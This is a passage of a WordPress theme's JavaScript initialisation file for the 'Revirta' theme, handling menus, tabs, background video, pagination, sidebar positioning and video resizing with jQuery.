/home/bonphmya/geldmarkplaatz.com/wp-contentccc/themes/revirta/revirta/js/_init.js
/* global jQuery:false */
/* global REVIRTA_STORAGE:false */
jQuery(document).ready(function() {
"use strict";
var theme_init_counter = 0;
revirta_init_actions();
// Theme init actions
function revirta_init_actions() {
if (REVIRTA_STORAGE['vc_edit_mode'] && jQuery('.vc_empty-placeholder').length==0 && theme_init_counter++ < 30) {
setTimeout(revirta_init_actions, 200);
return;
}
// Check fullheight elements
jQuery(document).on('action.init_hidden_elements', revirta_stretch_height);
jQuery(document).on('action.init_shortcodes', revirta_stretch_height);
jQuery(document).on('action.sc_layouts_row_fixed_off', revirta_stretch_height);
jQuery(document).on('action.sc_layouts_row_fixed_on', revirta_stretch_height);
// Add resize on VC action vc-full-width-row
// But we emulate 'action.resize_vc_row_start' and 'action.resize_vc_row_end'
// to correct resize sliders and video inside 'boxed' pages
var vc_resize = false;
jQuery(document).on('action.resize_vc_row_start', function(e, el) {
vc_resize = true;
revirta_resize_actions(el);
});
// Resize handlers
jQuery(window).resize(function() {
if (!vc_resize) {
revirta_resize_actions();
}
});
// Scroll handlers
jQuery(window).scroll(function() {
revirta_scroll_actions();
});
// First call to init core actions
revirta_ready_actions();
revirta_resize_actions();
revirta_scroll_actions();
// Wait for logo load
if (jQuery('body').hasClass('menu_style_side') && !revirta_check_images_complete(jQuery('.menu_side_wrap .sc_layouts_logo'))) {
setTimeout(function() {
revirta_stretch_sidemenu();
}, 500);
}
}
// Theme first load actions
//==============================================
function revirta_ready_actions() {
// Add scheme class and js support
//------------------------------------
document.documentElement.className = document.documentElement.className.replace(/\bno-js\b/,'js');
if (document.documentElement.className.indexOf(REVIRTA_STORAGE['site_scheme'])==-1)
document.documentElement.className += ' ' + REVIRTA_STORAGE['site_scheme'];
// Init background video
//------------------------------------
// Use Bideo to play local video
if (REVIRTA_STORAGE['background_video'] && jQuery('.top_panel.with_bg_video').length > 0 && window.Bideo) {
// Waiting 10ms after mejs init
setTimeout(function() {
jQuery('.top_panel.with_bg_video').prepend('<video id="background_video" loop muted></video>');
var bv = new Bideo();
bv.init({
// Video element
videoEl: document.querySelector('#background_video'),
// Container element
container: document.querySelector('.top_panel'),
// Resize
resize: true,
// autoplay: false,
isMobile: window.matchMedia('(max-width: 768px)').matches,
playButton: document.querySelector('#background_video_play'),
pauseButton: document.querySelector('#background_video_pause'),
src: [
{
src: REVIRTA_STORAGE['background_video'],
type: 'video/'+revirta_get_file_ext(REVIRTA_STORAGE['background_video'])
}
],
// What to do once video loads (initial frame)
onLoad: function () {
//document.querySelector('#background_video_cover').style.display = 'none';
}
});
}, 10);
// Use Tubular to play video from Youtube
} else if (jQuery.fn.tubular) {
jQuery('div#background_video').each(function() {
var youtube_code = jQuery(this).data('youtube-code');
if (youtube_code) {
jQuery(this).tubular({videoId: youtube_code});
jQuery('#tubular-player').appendTo(jQuery(this)).show();
jQuery('#tubular-container,#tubular-shield').remove();
}
});
}
// Tabs
//------------------------------------
if (jQuery('.revirta_tabs:not(.inited)').length > 0 && jQuery.ui && jQuery.ui.tabs) {
jQuery('.revirta_tabs:not(.inited)').each(function () {
// Get initially opened tab
var init = jQuery(this).data('active');
if (isNaN(init)) {
init = 0;
var active = jQuery(this).find('> ul > li[data-active="true"]').eq(0);
if (active.length > 0) {
init = active.index();
if (isNaN(init) || init < 0) init = 0;
}
} else {
init = Math.max(0, init);
}
// Init tabs
jQuery(this).addClass('inited').tabs({
active: init,
show: {
effect: 'fadeIn',
duration: 300
},
hide: {
effect: 'fadeOut',
duration: 300
},
create: function( event, ui ) {
if (ui.panel.length > 0) jQuery(document).trigger('action.init_hidden_elements', [ui.panel]);
},
activate: function( event, ui ) {
if (ui.newPanel.length > 0) jQuery(document).trigger('action.init_hidden_elements', [ui.newPanel]);
}
});
});
}
// AJAX loader for the tabs
jQuery('.revirta_tabs_ajax').on( "tabsbeforeactivate", function( event, ui ) {
if (ui.newPanel.data('need-content')) revirta_tabs_ajax_content_loader(ui.newPanel, 1, ui.oldPanel);
});
// AJAX loader for the pages in the tabs
jQuery('.revirta_tabs_ajax').on( "click", '.nav-links a', function(e) {
var panel = jQuery(this).parents('.revirta_tabs_content');
var page = 1;
var href = jQuery(this).attr('href');
var pos = -1;
if ((pos = href.lastIndexOf('/page/')) != -1 ) {
page = Number(href.substr(pos+6).replace("/", ""));
if (!isNaN(page)) page = Math.max(1, page);
}
revirta_tabs_ajax_content_loader(panel, page);
e.preventDefault();
return false;
});
// Menu
//----------------------------------------------
// Add TOC in the side menu
if (jQuery('.menu_side_inner').length > 0 && jQuery('#toc_menu').length > 0)
jQuery('#toc_menu').appendTo('.menu_side_inner');
// Open/Close side menu
jQuery('.menu_side_button').on('click', function(e){
jQuery(this).parent().toggleClass('opened');
e.preventDefault();
return false;
});
// Add images to the menu items with classes image-xxx
jQuery('.sc_layouts_menu li[class*="image-"]').each(function() {
var classes = jQuery(this).attr('class').split(' ');
var icon = '';
for (var i=0; i < classes.length; i++) {
if (classes[i].indexOf('image-') >= 0) {
icon = classes[i].replace('image-', '');
break;
}
}
if (icon) jQuery(this).find('>a').css('background-image', 'url('+REVIRTA_STORAGE['theme_url']+'/trx_addons/css/icons.png/'+icon+'.png');
});
// Add arrows to the mobile menu
jQuery('.menu_mobile .menu-item-has-children > a').append('<span class="open_child_menu"></span>');
// Open/Close mobile menu
jQuery('.sc_layouts_menu_mobile_button > a,.menu_mobile_button,.menu_mobile_description').on('click', function(e) {
if (jQuery(this).parent().hasClass('sc_layouts_menu_mobile_button_burger') && jQuery(this).next().hasClass('sc_layouts_menu_popup')) return;
jQuery('.menu_mobile_overlay').fadeIn();
jQuery('.menu_mobile').addClass('opened');
jQuery(document).trigger('action.stop_wheel_handlers');
e.preventDefault();
return false;
});
jQuery(document).on('keypress', function(e) {
if (e.keyCode == 27) {
if (jQuery('.menu_mobile.opened').length == 1) {
jQuery('.menu_mobile_overlay').fadeOut();
jQuery('.menu_mobile').removeClass('opened');
jQuery(document).trigger('action.start_wheel_handlers');
e.preventDefault();
return false;
}
}
});;
jQuery('.menu_mobile_close, .menu_mobile_overlay').on('click', function(e){
jQuery('.menu_mobile_overlay').fadeOut();
jQuery('.menu_mobile').removeClass('opened');
jQuery(document).trigger('action.start_wheel_handlers');
e.preventDefault();
return false;
});
// Open/Close mobile submenu
jQuery('.menu_mobile').on('click', 'li a, li a .open_child_menu', function(e) {
var $a = jQuery(this).hasClass('open_child_menu') ? jQuery(this).parent() : jQuery(this);
if ($a.parent().hasClass('menu-item-has-children')) {
if ($a.attr('href')=='#' || jQuery(this).hasClass('open_child_menu')) {
if ($a.siblings('ul:visible').length > 0)
$a.siblings('ul').slideUp().parent().removeClass('opened');
else {
jQuery(this).parents('li').siblings('li').find('ul:visible').slideUp().parent().removeClass('opened');
$a.siblings('ul').slideDown().parent().addClass('opened');
}
}
}
if (!jQuery(this).hasClass('open_child_menu') && revirta_is_local_link($a.attr('href')))
jQuery('.menu_mobile_close').trigger('click');
if (jQuery(this).hasClass('open_child_menu') || $a.attr('href')=='#') {
e.preventDefault();
return false;
}
});
if (!REVIRTA_STORAGE['trx_addons_exist'] || jQuery('.top_panel.top_panel_default .sc_layouts_menu_default').length > 0) {
// Init superfish menus
revirta_init_sfmenu('.sc_layouts_menu:not(.inited) > ul:not(.inited)');
// Show menu
jQuery('.sc_layouts_menu:not(.inited)').each(function() {
if (jQuery(this).find('>ul.inited').length == 1) jQuery(this).addClass('inited');
});
// Generate 'scroll' event after the menu is showed
jQuery(window).trigger('scroll');
}
// Forms
//----------------------------------------------
// Wrap select with .select_container
jQuery('select:not(.esg-sorting-select):not([class*="trx_addons_attrib_"])').each(function() {
var s = jQuery(this);
if (s.css('display') != 'none'
&& !s.next().hasClass('select2')
&& !s.hasClass('select2-hidden-accessible'))
s.wrap('<div class="select_container"></div>');
});
// Comment form
jQuery("form#commentform").submit(function(e) {
var rez = revirta_comments_validate(jQuery(this));
if (!rez)
e.preventDefault();
return rez;
});
jQuery("form").on('keypress', '.error_field', function() {
if (jQuery(this).val() != '')
jQuery(this).removeClass('error_field');
});
// Blocks with stretch width
//----------------------------------------------
// Action to prepare stretch blocks in the third-party plugins
jQuery(document).trigger('action.prepare_stretch_width');
// Wrap stretch blocks
jQuery('.trx-stretch-width').wrap('<div class="trx-stretch-width-wrap"></div>');
jQuery('.trx-stretch-width').after('<div class="trx-stretch-width-original"></div>');
revirta_stretch_width();
// Pagination
//------------------------------------
// Load more
jQuery('.nav-links-more a').on('click', function(e) {
if (REVIRTA_STORAGE['load_more_link_busy']) return;
REVIRTA_STORAGE['load_more_link_busy'] = true;
var more = jQuery(this);
var page = Number(more.data('page'));
var max_page = Number(more.data('max-page'));
if (page >= max_page) {
more.parent().hide();
return;
}
more.parent().addClass('loading');
var panel = more.parents('.revirta_tabs_content');
if (panel.length == 0) { // Load simple page content
jQuery.get(location.href, {
paged: page+1
}).done(function(response) {
// Get inline styles and add to the page styles
var selector = 'revirta-inline-styles-inline-css';
var p1 = response.indexOf(selector);
if (p1 < 0) {
selector = 'trx_addons-inline-styles-inline-css';
p1 = response.indexOf(selector);
}
if (p1 > 0) {
p1 = response.indexOf('>', p1) + 1;
var p2 = response.indexOf('</style>', p1);
var inline_css_add = response.substring(p1, p2);
var inline_css = jQuery('#'+selector);
if (inline_css.length == 0)
jQuery('body').append('<style id="'+selector+'" type="text/css">' + inline_css_add + '</style>');
else
inline_css.append(inline_css_add);
}
// Get new posts and append to the .posts_container
revirta_loadmore_add_items(jQuery('.content .posts_container').eq(0),
jQuery(response).find('.content .posts_container > article,'
+'.content .posts_container > div[class*="column-"],'
+'.content .posts_container > .masonry_item')
);
});
} else { // Load tab's panel content
jQuery.post(REVIRTA_STORAGE['ajax_url'], {
nonce: REVIRTA_STORAGE['ajax_nonce'],
action: 'revirta_ajax_get_posts',
blog_template: panel.data('blog-template'),
blog_style: panel.data('blog-style'),
posts_per_page: panel.data('posts-per-page'),
cat: panel.data('cat'),
parent_cat: panel.data('parent-cat'),
post_type: panel.data('post-type'),
taxonomy: panel.data('taxonomy'),
page: page+1
}).done(function(response) {
var rez = {};
try {
rez = JSON.parse(response);
} catch (e) {
rez = { error: REVIRTA_STORAGE['strings']['ajax_error'] };
console.log(response);
}
if (rez.error !== '') {
panel.html('<div class="revirta_error">'+rez.error+'</div>');
} else {
revirta_loadmore_add_items(panel.find('.posts_container'), jQuery(rez.data).find('article'));
}
});
}
// Append items to the container
function revirta_loadmore_add_items(container, items) {
if (container.length > 0 && items.length > 0) {
container.append(items);
if (container.hasClass('portfolio_wrap') || container.hasClass('masonry_wrap')) {
container.masonry( 'appended', items ).masonry();
if (container.hasClass('gallery_wrap')) {
REVIRTA_STORAGE['GalleryFx'][container.attr('id')].appendItems();
}
}
more.data('page', page+1).parent().removeClass('loading');
// Remove TOC if exists (rebuild on init_shortcodes)
jQuery('#toc_menu').remove();
// Trigger actions to init new elements
REVIRTA_STORAGE['init_all_mediaelements'] = true;
jQuery(document).trigger('action.init_shortcodes', [container.parent()]);
jQuery(document).trigger('action.init_hidden_elements', [container.parent()]);
}
if (page+1 >= max_page)
more.parent().hide();
else
REVIRTA_STORAGE['load_more_link_busy'] = false;
// Fire 'window.scroll' after clearing busy state
jQuery(window).trigger('scroll');
}
e.preventDefault();
return false;
});
// Infinite scroll
jQuery(document).on('action.scroll_revirta', function(e) {
if (REVIRTA_STORAGE['load_more_link_busy']) return;
var container = jQuery('.content > .posts_container').eq(0);
var inf = jQuery('.nav-links-infinite');
if (inf.length == 0) return;
if (container.offset().top + container.height() < jQuery(window).scrollTop() + jQuery(window).height()*1.5)
inf.find('a').trigger('click');
});
// Other settings
//------------------------------------
jQuery(document).trigger('action.ready_revirta');
// Init post format specific scripts
jQuery(document).on('action.init_hidden_elements', revirta_init_post_formats);
// Init hidden elements (if exists)
jQuery(document).trigger('action.init_hidden_elements', [jQuery('body').eq(0)]);
} //end ready
// Scroll actions
//==============================================
// Do actions when page scrolled
function revirta_scroll_actions() {
var scroll_offset = jQuery(window).scrollTop();
var adminbar_height = Math.max(0, jQuery('#wpadminbar').height());
// Call theme/plugins specific action (if exists)
//----------------------------------------------
jQuery(document).trigger('action.scroll_revirta');
// Fix/unfix sidebar
revirta_fix_sidebar();
// Shift top and footer panels when header position equal to 'Under content'
if (jQuery('body').hasClass('header_position_under') && !revirta_browser_is_mobile()) {
var delta = 50;
var adminbar = jQuery('#wpadminbar');
var adminbar_height = adminbar.length == 0 && adminbar.css('position') == 'fixed' ? 0 : adminbar.height();
var header = jQuery('.top_panel');
var header_height = header.height();
var mask = header.find('.top_panel_mask');
if (mask.length==0) {
header.append('<div class="top_panel_mask"></div>');
mask = header.find('.top_panel_mask');
}
if (scroll_offset > adminbar_height) {
var offset = scroll_offset - adminbar_height;
if (offset <= header_height) {
var mask_opacity = Math.max(0, Math.min(0.8, (offset-delta)/header_height));
// Don't shift header with Revolution slider in Chrome
if ( !(/Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor)) || header.find('.slider_engine_revo').length == 0 )
header.css('top', Math.round(offset/1.2)+'px');
mask.css({
'opacity': mask_opacity,
'display': offset==0 ? 'none' : 'block'
});
} else if (parseInt(header.css('top')) != 0) {
header.css('top', Math.round(offset/1.2)+'px');
}
} else if (parseInt(header.css('top')) != 0 || mask.css('display')!='none') {
header.css('top', '0px');
mask.css({
'opacity': 0,
'display': 'none'
});
}
var footer = jQuery('.footer_wrap');
var footer_height = Math.min(footer.height(), jQuery(window).height());
var footer_visible = (scroll_offset + jQuery(window).height()) - (header.outerHeight() + jQuery('.page_content_wrap').outerHeight());
if (footer_visible > 0) {
mask = footer.find('.top_panel_mask');
if (mask.length==0) {
footer.append('<div class="top_panel_mask"></div>');
mask = footer.find('.top_panel_mask');
}
if (footer_visible <= footer_height) {
var mask_opacity = Math.max(0, Math.min(0.8, (footer_height - footer_visible)/footer_height));
// Don't shift header with Revolution slider in Chrome
if ( !(/Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor)) || footer.find('.slider_engine_revo').length == 0 )
footer.css('top', -Math.round((footer_height - footer_visible)/1.2)+'px');
mask.css({
'opacity': mask_opacity,
'display': footer_height - footer_visible <= 0 ? 'none' : 'block'
});
} else if (parseInt(footer.css('top')) != 0 || mask.css('display')!='none') {
footer.css('top', 0);
mask.css({
'opacity': 0,
'display': 'none'
});
}
}
}
}
// Resize actions
//==============================================
// Do actions when page scrolled
function revirta_resize_actions(cont) {
revirta_check_layout();
revirta_fix_sidebar();
revirta_resize_video( cont );
revirta_fix_footer();
revirta_stretch_width(cont);
revirta_stretch_height(null, cont);
revirta_stretch_bg_video();
revirta_vc_row_fullwidth_to_boxed(cont);
if (REVIRTA_STORAGE['menu_side_stretch']) revirta_stretch_sidemenu();
// Call theme/plugins specific action (if exists)
//----------------------------------------------
jQuery(document).trigger('action.resize_revirta', [cont]);
}
// Stretch sidemenu (if present)
function revirta_stretch_sidemenu() {
var toc_items = jQuery('.menu_side_wrap.menu_side_icons .toc_menu_item');
if (toc_items.length < 5) return;
var toc_items_height = jQuery(window).height()
- revirta_fixed_rows_height(true, false)
- jQuery('.menu_side_wrap .sc_layouts_logo').outerHeight()
- toc_items.length;
var th = Math.floor(toc_items_height / toc_items.length);
var th_add = toc_items_height - th*toc_items.length;
toc_items.find(".toc_menu_description,.toc_menu_icon").css({
'height': th+'px',
'lineHeight': th+'px'
});
toc_items.eq(0).find(".toc_menu_description,.toc_menu_icon").css({
'height': (th+th_add)+'px',
'lineHeight': (th+th_add)+'px'
});
}
// Check for mobile layout
function revirta_check_layout() {
var resize = true;
if (jQuery('body').hasClass('no_layout')) {
jQuery('body').removeClass('no_layout');
resize = false;
}
var w = window.innerWidth;
if (w == undefined)
w = jQuery(window).width()+(jQuery(window).height() < jQuery(document).height() || jQuery(window).scrollTop() > 0 ? 16 : 0);
if (REVIRTA_STORAGE['mobile_layout_width'] >= w) {
if (!jQuery('body').hasClass('mobile_layout')) {
jQuery('body').removeClass('desktop_layout').addClass('mobile_layout');
if (resize) jQuery(window).trigger('resize');
}
} else {
if (!jQuery('body').hasClass('desktop_layout')) {
jQuery('body').removeClass('mobile_layout').addClass('desktop_layout');
jQuery('.menu_mobile').removeClass('opened');
jQuery('.menu_mobile_overlay').hide();
if (resize) jQuery(window).trigger('resize');
}
}
if (REVIRTA_STORAGE['mobile_device'] || revirta_browser_is_mobile())
jQuery('body').addClass('mobile_device');
}
// Stretch area to full window width
function revirta_stretch_width(cont) {
if (cont===undefined) cont = jQuery('body');
cont.find('.trx-stretch-width').each(function() {
var $el = jQuery(this);
var $el_cont = $el.parents('.page_wrap');
var $el_cont_offset = 0;
if ($el_cont.length == 0)
$el_cont = jQuery(window);
else
$el_cont_offset = $el_cont.offset().left;
var $el_full = $el.next('.trx-stretch-width-original');
var el_margin_left = parseInt( $el.css( 'margin-left' ), 10 );
var el_margin_right = parseInt( $el.css( 'margin-right' ), 10 );
var offset = $el_cont_offset - $el_full.offset().left - el_margin_left;
var width = $el_cont.width();
if (!$el.hasClass('inited')) {
$el.addClass('inited invisible');
$el.css({
'position': 'relative',
'box-sizing': 'border-box'
});
}
$el.css({
'left': offset,
'width': $el_cont.width()
});
if ( !$el.hasClass('trx-stretch-content') ) {
var padding = Math.max(0, -1*offset);
var paddingRight = Math.max(0, width - padding - $el_full.width() + el_margin_left + el_margin_right);
$el.css( { 'padding-left': padding + 'px', 'padding-right': paddingRight + 'px' } );
}
$el.removeClass('invisible');
});
}
// Stretch area to the full window height
function revirta_stretch_height(e, cont) {
if (cont===undefined) cont = jQuery('body');
cont.find('.revirta-full-height').each(function () {
var fullheight_item = jQuery(this);
// If item now invisible
if (jQuery(this).parents('div:hidden,section:hidden,article:hidden').length > 0) {
return;
}
var fullheight_row = jQuery(this).parents('.vc_row-o-full-height');
if (fullheight_row.length > 0)
fullheight_item.height(fullheight_row.height());
else {
var fh = revirta_fixed_rows_height();
var wh = jQuery(window).width() >= 960
? jQuery(window).height() - fh
: 'auto';
if (wh > 0) {
if (fullheight_item.data('display') != fullheight_item.css('display'))
fullheight_item.css('display', fullheight_item.data('display'));
fullheight_item.css('height', wh);
} else if (wh=='auto' && fullheight_item.css('height')!='auto') {
if (fullheight_item.data('display')==undefined)
fullheight_item.attr('data-display', fullheight_item.css('display'));
fullheight_item.css({'height': wh, 'display': 'block'});
}
}
});
}
// Fit video frames to document width
function revirta_resize_video(cont) {
if (cont === undefined) {
cont = jQuery( 'body' );
}
cont.find( 'video' ).each(
function() {
// If item now invisible
if (jQuery( this ).hasClass( 'trx_addons_resize' ) || jQuery( this ).hasClass( 'trx_addons_noresize' ) || jQuery( this ).parents( 'div:hidden,section:hidden,article:hidden' ).length > 0) {
return;
}
var video = jQuery( this ).addClass( 'revirta_resize' ).eq( 0 );
var ratio = (video.data( 'ratio' ) !== undefined ? video.data( 'ratio' ).split( ':' ) : [16,9]);
ratio = ratio.length != 2 || ratio[0] === 0 || ratio[1] === 0 ? 16 / 9 : ratio[0] / ratio[1];
var mejs_cont = video.parents( '.mejs-video' ).eq(0);
var w_attr = video.data( 'width' );
var h_attr = video.data( 'height' );
if ( ! w_attr || ! h_attr) {
w_attr = video.attr( 'width' );
h_attr = video.attr( 'height' );
if ( ! w_attr || ! h_attr) {
return;
}
video.data( {'width': w_attr, 'height': h_attr} );
}
var percent = ('' + w_attr).substr( -1 ) == '%';
w_attr = parseInt( w_attr, 10 );
h_attr = parseInt( h_attr, 10 );
var w_real = Math.round(
mejs_cont.length > 0
? Math.min( percent ? 10000 : w_attr, mejs_cont.parents( 'div,article' ).eq(0).width() )
: Math.min( percent ? 10000 : w_attr, video.parents( 'div,article' ).eq(0).width() )
),
h_real = Math.round( percent ? w_real / ratio : w_real / w_attr * h_attr );
if ( parseInt( video.attr( 'data-last-width' ), 10 ) == w_real ) {
return;
}
if ( percent ) {
video.height( h_real );
} else if ( video.parents( '.wp-video-playlist' ).length > 0 ) {
if ( mejs_cont.length === 0 ) {
video.attr( {'width': w_real, 'height': h_real} );
}
} else {
video.attr( {'width': w_real, 'height': h_real} ).css( {'width': w_real + 'px', 'height': h_real + 'px'} );
if ( mejs_cont.length > 0 ) {
revirta_set_mejs_player_dimensions( video, w_real, h_real );
}
}
video.attr( 'data-last-width', w_real );
}
);
cont.find( '.video_frame iframe,iframe' ).each(
function() {
// If item now invisible
if (jQuery( this ).hasClass( 'trx_addons_resize' ) || jQuery( this ).hasClass( 'trx_addons_noresize' ) || jQuery( this ).addClass( 'revirta_resize' ).parents( 'div:hidden,section:hidden,article:hidden' ).length > 0) {
return;
}
var iframe = jQuery( this ).eq( 0 );
if (iframe.length == 0 || iframe.attr( 'src' ) === undefined || iframe.attr( 'src' ).indexOf( 'soundcloud' ) > 0) {
return;
}
var ratio = (iframe.data( 'ratio' ) !== undefined
? iframe.data( 'ratio' ).split( ':' )
: (iframe.parent().data( 'ratio' ) !== undefined
? iframe.parent().data( 'ratio' ).split( ':' )
: (iframe.find( '[data-ratio]' ).length > 0
? iframe.find( '[data-ratio]' ).data( 'ratio' ).split( ':' )
: [16,9]
)
)
);
ratio = ratio.length != 2 || ratio[0] === 0 || ratio[1] === 0 ? 16 / 9 : ratio[0] / ratio[1];
var w_attr = iframe.attr( 'width' );
var h_attr = iframe.attr( 'height' );
if ( ! w_attr || ! h_attr) {
return;
}
var percent = ('' + w_attr).substr( -1 ) == '%';
w_attr = parseInt( w_attr, 10 );
h_attr = parseInt( h_attr, 10 );
var par = iframe.parents( 'div,section' ).eq(0),
pw = par.width(),
ph = par.height(),
w_real = pw,
h_real = Math.round( percent ? w_real / ratio : w_real / w_attr * h_attr );
if (par.css( 'position' ) == 'absolute' && h_real > ph) {
h_real = ph;
w_real = Math.round( percent ? h_real * ratio : h_real * w_attr / h_attr );
}
if (parseInt( iframe.attr( 'data-last-width' ), 10 ) == w_real) {
return;
}
iframe.css( {'width': w_real + 'px', 'height': h_real + 'px'} );
iframe.attr( 'data-last-width', w_real );
}
);
}
// Set Media Elements player dimensions
function revirta_set_mejs_player_dimensions(video, w, h) {
if (mejs) {
for (var pl in mejs.players) {
if (mejs.players[pl].media.src == video.attr( 'src' )) {
if (mejs.players[pl].media.setVideoSize) {
mejs.players[pl].media.setVideoSize( w, h );
} else if (mejs.players[pl].media.setSize) {
mejs.players[pl].media.setSize( w, h );
}
mejs.players[pl].setPlayerSize( w, h );
mejs.players[pl].setControlsSize();
}
}
}
}
// Stretch background video
function revirta_stretch_bg_video() {
var video_wrap = jQuery('div#background_video,.tourmaster-background-video');
if (video_wrap.length == 0) return;
var cont = video_wrap.hasClass('tourmaster-background-video') ? video_wrap.parent() : video_wrap,
w = cont.width(),
h = cont.height(),
video = video_wrap.find('>iframe,>video');
if (w/h < 16/9)
w = h/9*16;
else
h = w/16*9;
video
.attr({'width': w, 'height': h})
.css({'width': w, 'height': h});
}
// Recalculate width of the vc_row[data-vc-full-width="true"] when content boxed or menu_style=='left|right'
function revirta_vc_row_fullwidth_to_boxed(cont) {
if (jQuery('body').hasClass('body_style_boxed') || jQuery('body').hasClass('menu_style_side')) {
if (cont === undefined || !cont.hasClass('.vc_row') || !cont.data('vc-full-width'))
cont = jQuery('.vc_row[data-vc-full-width="true"]');
var width_content = jQuery('.page_wrap').width();
var width_content_wrap = jQuery('.page_content_wrap .content_wrap').width();
var indent = ( width_content - width_content_wrap ) / 2;
var rtl = jQuery('html').attr('dir') == 'rtl';
cont.each( function() {
var mrg = parseInt(jQuery(this).css('marginLeft'));
var stretch_content = jQuery(this).attr('data-vc-stretch-content');
var in_content = jQuery(this).parents('.content_wrap').length > 0;
jQuery(this).css({
'width': width_content,
'left': rtl ? 'auto' : (in_content ? -indent : 0) - mrg,
'right': !rtl ? 'auto' : (in_content ? -indent : 0) - mrg,
'padding-left': stretch_content ? 0 : indent + mrg,
'padding-right': stretch_content ? 0 : indent + mrg
});
});
}
}
// Fix/unfix footer
function revirta_fix_footer() {
if (jQuery('body').hasClass('header_position_under') && !revirta_browser_is_mobile()) {
var ft = jQuery('.footer_wrap');
if (ft.length > 0) {
var ft_height = ft.outerHeight(false),
pc = jQuery('.page_content_wrap'),
pc_offset = pc.offset().top,
pc_height = pc.height();
if (pc_offset + pc_height + ft_height < jQuery(window).height()) {
if (ft.css('position')!='absolute') {
ft.css({
'position': 'absolute',
'left': 0,
'bottom': 0,
'width' :'100%'
});
}
} else {
if (ft.css('position')!='relative') {
ft.css({
'position': 'relative',
'left': 'auto',
'bottom': 'auto'
});
}
}
}
}
}
// Fix/unfix sidebar
function revirta_fix_sidebar() {
var sb = jQuery('.sidebar');
var content = sb.siblings('.content');
if (sb.length > 0) {
// Unfix when sidebar is under content
if (content.css('float') == 'none') {
var old_style = sb.data('old_style');
if (old_style !== undefined) sb.attr('style', old_style).removeAttr('data-old_style');
} else {
var sb_height = sb.outerHeight();
var content_height = content.outerHeight();
var content_top = content.offset().top;
var scroll_offset = jQuery(window).scrollTop();
var top_panel_fixed_height = revirta_fixed_rows_height();
// If sidebar shorter then content and page scrolled below the content's top
if (sb_height < content_height && scroll_offset + top_panel_fixed_height > content_top) {
var sb_init = {
'position': 'undefined',
'float': 'none',
'top': 'auto',
'bottom' : 'auto'
};
if (typeof REVIRTA_STORAGE['scroll_offset_last'] == 'undefined') {
REVIRTA_STORAGE['sb_top_last'] = content_top;
REVIRTA_STORAGE['scroll_offset_last'] = scroll_offset;
REVIRTA_STORAGE['scroll_dir_last'] = 1;
}
var scroll_dir = scroll_offset - REVIRTA_STORAGE['scroll_offset_last'];
if (scroll_dir == 0)
scroll_dir = REVIRTA_STORAGE['scroll_dir_last'];
else
scroll_dir = scroll_dir > 0 ? 1 : -1;
var sb_big = sb_height + 30 >= jQuery(window).height() - top_panel_fixed_height,
sb_top = sb.offset().top;
if (sb_top < 0) sb_top = REVIRTA_STORAGE['sb_top_last'];
// If sidebar height greater then window height
if (sb_big) {
// If change scrolling dir
if (scroll_dir != REVIRTA_STORAGE['scroll_dir_last'] && sb.css('position') == 'fixed') {
sb_init.top = sb_top - content_top;
sb_init.position = 'absolute';
// If scrolling down
} else if (scroll_dir > 0) {
if (scroll_offset + jQuery(window).height() >= content_top + content_height + 30) {
sb_init.bottom = 0;
sb_init.position = 'absolute';
} else if (scroll_offset + jQuery(window).height() >= (sb.css('position') == 'absolute' ? sb_top : content_top) + sb_height + 30) {
sb_init.bottom = 30;
sb_init.position = 'fixed';
}
// If scrolling up
} else {
if (scroll_offset + top_panel_fixed_height <= sb_top) {
sb_init.top = top_panel_fixed_height;
sb_init.position = 'fixed';
}
}
// If sidebar height less then window height
} else {
if (scroll_offset + top_panel_fixed_height >= content_top + content_height - sb_height) {
sb_init.bottom = 0;
sb_init.position = 'absolute';
} else {
sb_init.top = top_panel_fixed_height;
sb_init.position = 'fixed';
}
}
if (sb_init.position != 'undefined') {
// Detect horizontal position when resize
var pos = 0;
if (sb_init.position == 'fixed' || (!jQuery('body').hasClass('body_style_wide') && !jQuery('body').hasClass('body_style_boxed'))) {
var sb_parent = sb.parent();
pos = sb_parent.position();
pos = pos.left + Math.max(0, parseInt(sb_parent.css('paddingLeft'), 10))
+ Math.max(0, parseInt(sb_parent.css('marginLeft'), 10))
+ (jQuery('body').hasClass('menu_style_right')
? Math.max(0, parseInt(jQuery('body').css('marginRight'), 10))
: 0);
}
if (sb.hasClass('right')) sb_init.right = pos;
else sb_init.left = pos;
// Set position
if (sb.css('position') != sb_init.position || REVIRTA_STORAGE['scroll_dir_last'] != scroll_dir) {
if (sb.data('old_style') === undefined) {
var style = sb.attr('style');
if (!style) style = '';
sb.attr('data-old_style', style);
}
sb.css(sb_init);
}
}
REVIRTA_STORAGE['sb_top_last'] = sb_top;
REVIRTA_STORAGE['scroll_offset_last'] = scroll_offset;
REVIRTA_STORAGE['scroll_dir_last'] = scroll_dir;
} else {
// Unfix when page scrolling to top
var old_style = sb.data('old_style');
if (old_style !== undefined)
sb.attr('style', old_style).removeAttr('data-old_style');
}
}
}
}
// Navigation
//==============================================
// Init Superfish menu
function revirta_init_sfmenu(selector) {
jQuery(selector).show().each(function() {
var animation_in = jQuery(this).parent().data('animation_in');
if (animation_in == undefined) animation_in = "none";
var animation_out = jQuery(this).parent().data('animation_out');
if (animation_out == undefined) animation_out = "none";
jQuery(this).addClass('inited').superfish({
delay: 500,
animation: {
opacity: 'show'
},
animationOut: {
opacity: 'hide'
},
speed: animation_in!='none' ? 500 : 200,
speedOut: animation_out!='none' ? 500 : 200,
autoArrows: false,
dropShadows: false,
onBeforeShow: function(ul) {
if (jQuery(this).parents("ul").length > 1){
var w = jQuery('.page_wrap').width();
var par_offset = jQuery(this).parents("ul").offset().left;
var par_width = jQuery(this).parents("ul").outerWidth();
var ul_width = jQuery(this).outerWidth();
if (par_offset+par_width+ul_width > w-20 && par_offset-ul_width > 0)
jQuery(this).addClass('submenu_left');
else
jQuery(this).removeClass('submenu_left');
}
if (animation_in!='none') {
jQuery(this).removeClass('animated fast '+animation_out);
jQuery(this).addClass('animated fast '+animation_in);
}
},
onBeforeHide: function(ul) {
if (animation_out!='none') {
jQuery(this).removeClass('animated fast '+animation_in);
jQuery(this).addClass('animated fast '+animation_out);
}
}
});
});
}
// Post formats init
//=====================================================
function revirta_init_post_formats(e, cont) {
// MediaElement init
revirta_init_media_elements(cont);
// Video play button
cont.find('.format-video .post_featured.with_thumb .post_video_hover:not(.inited)')
.addClass('inited')
.on('click', function(e) {
jQuery(this).parents('.post_featured')
.addClass('post_video_play')
.find('.post_video').html(jQuery(this).data('video'));
jQuery(window).trigger('resize');
e.preventDefault();
return false;
});
}
function revirta_init_media_elements(cont) {
